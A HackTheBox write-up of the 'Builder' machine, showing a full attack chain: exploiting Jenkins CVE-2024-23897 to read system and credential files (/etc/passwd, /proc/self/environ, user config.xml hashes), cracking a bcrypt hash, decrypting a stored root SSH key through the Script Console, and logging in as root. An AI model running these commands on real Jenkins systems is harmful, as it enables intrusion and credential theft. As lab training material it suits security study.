HTB: Builder Writeup
Builder - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Builder |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | 8th Feb 2024 |
| IP Address | 10.10.11.X |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐⭐☆
- CTF-like: ⭐⭐☆☆☆
Summary
Builder is a Linux machine built entirely around a single exposed service: a Jenkins CI/CD instance. The installed Jenkins version is vulnerable to CVE-2024-23897, an unauthenticated arbitrary file read in the Jenkins CLI command parser. Abusing that flaw against Jenkins’ own internal user database leaks the bcrypt password hash for a second Jenkins user, jennifer, which cracks offline. Logging into Jenkins as jennifer exposes a credential object named root — an SSH private key stored (client-side “encrypted”) in Jenkins’ credential store for use in build pipelines. Because Jenkins itself holds the key needed to decrypt anything in that store, the Jenkins Script Console can be used to call hudson.util.Secret.decrypt() directly on the captured ciphertext, recovering the plaintext root SSH key and yielding a direct root shell on the host.
TL;DR: CVE-2024-23897 Jenkins arbitrary file read → leak + crack jennifer’s bcrypt password hash → log into Jenkins as jennifer → locate the root SSH credential in the Jenkins credential store → decrypt it via the Jenkins Groovy Script Console (hudson.util.Secret.decrypt) → SSH to the host as root.
Reconnaissance
Port Scanning
# full TCP sweep, then version/script scan against discovered portsnmap -p- --min-rate=1000 -T4 <TARGET_IP>nmap -p22,8080 -sC -sV <TARGET_IP>Results: Two services exposed:
22/tcp— OpenSSH8080/tcp— HTTP, fingerprinted as a Jenkins dashboard (Dashboard [Jenkins]page title)
With no valid SSH credentials up front, Jenkins on 8080 is the only viable entry point.
Service Enumeration
Browsing to the Jenkins root page confirms it’s an unauthenticated (or anonymous-read-permitted) instance — the footer discloses the running Jenkins version, which is checked against known Jenkins CVEs.
Vulnerability Assessment
The disclosed Jenkins version is affected by CVE-2024-23897: the Jenkins CLI command parser expands @-prefixed arguments into local file reads before authentication is enforced, so any CLI command can be abused to read arbitrary files off the Jenkins controller filesystem as an unauthenticated user, provided the Jenkins CLI endpoint is reachable.
Initial Foothold
Exploitation Path
1. Fetch the CLI client and confirm the arbitrary file read.
Jenkins conveniently serves its own CLI jar, which is the tool used to trigger the vulnerable argument-parsing path:
# grab the CLI jar directly from the target Jenkins instancewget http://<TARGET_IP>:8080/jnlpJars/jenkins-cli.jar
# CVE-2024-23897: '@file' as a CLI arg is expanded and its contents fed into the parser,# leaking file content in the resulting error/outputjava -jar jenkins-cli.jar -noCertificateCheck -s 'http://<TARGET_IP>:8080' \ help "@/etc/passwd"The help command being fed @/etc/passwd causes Jenkins to read the file and echo lines of it back inside the “too many arguments” error, confirming the read primitive works pre-auth.
2. Locate JENKINS_HOME and pull user.txt.
# leak process environment to find the real Jenkins home directoryjava -jar jenkins-cli.jar -noCertificateCheck -s 'http://<TARGET_IP>:8080' \ help "@/proc/self/environ"The environment dump confirms JENKINS_HOME=/var/jenkins_home (and a container-style hostname, indicating Jenkins runs inside Docker). From there:
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://<TARGET_IP>:8080' \ help "@/var/jenkins_home/user.txt"recovers the user flag.
3. Map Jenkins usernames to their on-disk hash files.
Jenkins stores each user’s directory name (username + a random numeric suffix) in users/users.xml, and the help command only leaks the first couple of lines of longer files. Switching to the connect-node command instead dumps the entire file content into the “no such agent” error text — this only works because the instance has denyAnonymousReadAccess disabled, i.e. anonymous users retain read access:
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://<TARGET_IP>:8080' \ connect-node "@/var/jenkins_home/users/users.xml"This reveals the second Jenkins account, jennifer, and its backing directory. Pulling that user’s config.xml the same way exposes the stored jBCrypt password hash:
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://<TARGET_IP>:8080' \ connect-node "@/var/jenkins_home/users/jennifer_<suffix>/config.xml"4. Crack the hash offline.
# jbcrypt hash cracked against rockyoujohn jennifer_hash.txt -w=/usr/share/wordlists/rockyou.txtThe cracked plaintext gives valid Jenkins web-UI credentials for jennifer.
Note on this run: the jump box’s
/tmpwas full, so all downloaded tooling (the CLI jar, wordlists, working files) was routed through/dev/shminstead to keep the exploitation chain unblocked.
Logging into the Jenkins dashboard as jennifer opens up the full authenticated attack surface, including the credentials store.
Privilege Escalation
Inside Jenkins as jennifer, the credentials store contains an SSH private key credential named root — almost certainly staged there for a deployment pipeline that SSHes into the host. Jenkins never displays stored secrets in plaintext through the UI, but it does hold the AES key needed to decrypt anything in its own credentials.xml/secrets store, and that decryption routine is reachable from the Jenkins Groovy Script Console (/script), which any user with Script Console access (typically admin-equivalent, granted here via jennifer) can execute arbitrary Groovy in.
1. Capture the encrypted blob.
Opening the root credential’s update/edit page and inspecting the “Concealed for Confidentiality” field via browser devtools reveals the raw encrypted secret string ({AQAAABAA...} form).
2. Decrypt it via the Script Console.
// hudson.util.Secret is what Jenkins itself uses to encrypt/decrypt stored credentials —// running this in /script (as an authenticated user with Script Console rights) uses// Jenkins' own master key to reverse itprintln(hudson.util.Secret.decrypt("{AQAAABAA...encrypted-blob...}"))The output is the plaintext root SSH private key.
3. Use the recovered key to SSH in as root.
# save recovered key, fix permissions, connectchmod 600 root_keyssh -i root_key root@<TARGET_IP>
# verifyid# uid=0(root) gid=0(root) groups=0(root)Root flag retrieved from /root/root.txt.
Why this works: Jenkins credentials are only as “secret” as the Jenkins instance protecting them — anyone who can execute Groovy on the controller (Script Console access) can call the exact same decryption routine Jenkins uses internally, turning any encrypted credential in the store into plaintext on demand. Storing a host-root SSH key inside Jenkins’ credential store means compromising Jenkins is equivalent to compromising root on every machine that key unlocks.
Attack Chain Summary
Jenkins CVE-2024-23897 (unauth arbitrary file read) → leak /proc/self/environ → JENKINS_HOME → user.txt → leak users.xml → map username to hash directory → leak jennifer's config.xml → jbcrypt password hash → crack hash (john + rockyou) → jennifer:<cracked password> → authenticate to Jenkins web UI as jennifer → locate 'root' SSH credential in Jenkins credential store → Jenkins Script Console: hudson.util.Secret.decrypt(blob) → plaintext root SSH key → ssh -i root_key root@target → rootTools Used
| Tool | Purpose |
|---|---|
nmap | Port/service discovery |
jenkins-cli.jar | Triggering CVE-2024-23897 arbitrary file read |
john (rockyou.txt) | Cracking jennifer’s jBCrypt hash |
| Jenkins Web UI / Credentials Store | Locating the stored root SSH credential |
Jenkins Script Console (/script) | Running Groovy (hudson.util.Secret.decrypt) to decrypt the SSH key |
ssh | Final root access using the recovered key |
Key Learnings
Techniques Practiced
- Exploiting CVE-2024-23897 (Jenkins CLI
@filearbitrary file read) pre-authentication - Enumerating Jenkins’ internal directory layout (
JENKINS_HOME,users/users.xml, per-userconfig.xml) to pivot from anonymous read to a named account’s password hash - Using
connect-nodeinstead ofhelpto exfiltrate full file contents when Jenkins CLI error messages truncate output - Cracking jBCrypt Jenkins password hashes offline
- Abusing the Jenkins Groovy Script Console to call Jenkins’ own
hudson.util.Secret.decrypt()and recover “encrypted” stored credentials in plaintext
Lessons Learned
- Anonymous read access on Jenkins (
denyAnonymousReadAccess: false) combined with CVE-2024-23897 is enough to fully map and dump internal user credential stores without any authentication. - Credentials Jenkins presents as “encrypted”/“concealed” are only opaque in the UI — anything reachable from the Script Console can trivially reverse them, because Jenkins itself must be able to decrypt them for use in builds.
- Never store host-level credentials (especially root SSH keys) inside a CI/CD system’s credential store unless that system’s own compromise is an acceptable blast radius — Jenkins access effectively became root access here.
- When local scratch space (
/tmp) is constrained during a live engagement,/dev/shmis a reliable fallback for staging tooling without losing momentum.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- “Builder” HackTheBox Official Writeup — Document No. D24.100.268, prepared by amra; Machine Authors: polarbearer & amra.